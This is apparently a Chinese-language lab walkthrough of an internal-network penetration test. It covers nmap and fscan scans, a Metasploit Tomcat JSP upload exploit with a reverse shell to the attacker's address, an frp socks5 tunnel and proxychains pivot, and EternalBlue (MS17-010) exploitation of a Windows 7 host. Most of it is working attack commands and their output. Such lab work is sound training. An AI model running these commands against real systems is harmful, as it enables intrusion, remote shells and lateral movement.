Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 09:39 EST Nmap scan report for 192.168.157.128 Host is up (0.0013s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 2001/tcp open http Jetty 9.2.11.v20150529 2002/tcp open http Apache Tomcat 8.5.19 2003/tcp open http Apache httpd 2.4.25 MAC Address: 00:0C:29:E3:C5:36 (VMware) Service Info: Host: 172.19.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 41.90 seconds
可以看到三个开放端口都有服务,2001、2002、2003,22的ssh服务一般先跳过
然后上fscan扫一下漏洞吧
都能扫出来相关的漏洞
192.168.157.128:2002 open 192.168.157.128:2001 open 192.168.157.128:2003 open [*] alive ports len is: 3 start vulscan [*] WebTitle http://192.168.157.128:2002 code:200 len:11230 title:Apache Tomcat/8.5.19 [*] WebTitle http://192.168.157.128:2001 code:200 len:1077 title:Struts2 Showcase - Fileupload sample [+] PocScan http://192.168.157.128:2002 poc-yaml-iis-put-getshell [+] PocScan http://192.168.157.128:2002 poc-yaml-tomcat-cve-2017-12615-rce [+] PocScan http://192.168.157.128:2001 poc-yaml-struts2_045 poc1
use exploit/multi/http/tomcat_jsp_upload_bypass show payloads set payload java/jsp_shell_reverse_tcp set lhost 192.168.157.129 set rhost 192.168.157.128 set rport 2002 run
[[proxies]] name = "plugin_socks5" type = "tcp" remotePort = 60051 [proxies.plugin] type = "socks5" username = "0HDFt16cLQJCB" password = "JTN276Gp1A"
然后启动客户端
./frpc -c ./frpc.toml
然后现在就能通过60051端口走socks5代理访问内网了
再配置一下proxychains4工具的配置文件
vim /etc/proxychains4.conf
配置
[ProxyList] # add proxy here ... # meanwile # defaults set to "tor" # socks4 127.0.0.1 9050 # socks5 192.168.172.132 7777 # socks5 127.0.0.1 8989 socks5 127.0.0.1 60051 0HDFt16cLQJCB JTN276Gp1A
这里一开始socks5忘记加上用户名和密码了,导致msf访问的时候被拒绝连接了
信息搜集
那就直接上fscan扫内网了
proxychains ./fscan -h 192.168.183.1/24
扫出的信息如下:
存活主机
(icmp) Target 192.168.183.1 is alive (icmp) Target 192.168.183.130 is alive (icmp) Target 192.168.183.128 is alive (icmp) Target 192.168.183.129 is alive
可以看到其他两台的地址都扫出来了
端口信息
192.168.183.128:22 open 192.168.183.1:7680 open 192.168.183.129:445 open 192.168.183.130:445 open 192.168.183.129:139 open 192.168.183.1:445 open 192.168.183.130:139 open 192.168.183.129:135 open 192.168.183.1:139 open 192.168.183.130:135 open 192.168.183.1:135 open 192.168.183.130:88 open
漏洞信息
[*]192.168.183.130 [->]WIN-ENS2VR5TR3N [->]192.168.183.130 [*] NetInfo [*]192.168.183.129 [->]TESTWIN7-PC [->]192.168.183.129 [+] MS17-010 192.168.183.129 (Windows 7 Enterprise 7601 Service Pack 1) [+] MS17-010 192.168.183.130 (Windows Server 2008 HPC Edition 7601 Service Pack 1) [*] NetBios 192.168.183.130 [+] DC:WIN-ENS2VR5TR3N.demo.com Windows Server 2008 HPC Edition 7601 Service Pack 1
win7的主机有MS17-010永恒之蓝漏洞,winServer2008应该是域控也有一个永恒之蓝
那就先打win7吧直接
打win7
通过porxychains启动msf
proxychains msfconsole
然后上永恒之蓝的扫描模块试一下,主要是测试能不能通
use auxiliary/scanner/smb/smb_ms17_010 set rhost 192.168.183.129 run
可以看到是成功扫出来了ms17-010,那就直接开打!
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp #因为主机在内网,所以我们这里需要用正向的shell set target Windows\ 7 set RHOSTS 192.168.183.129 set rhost 192.168.183.129 run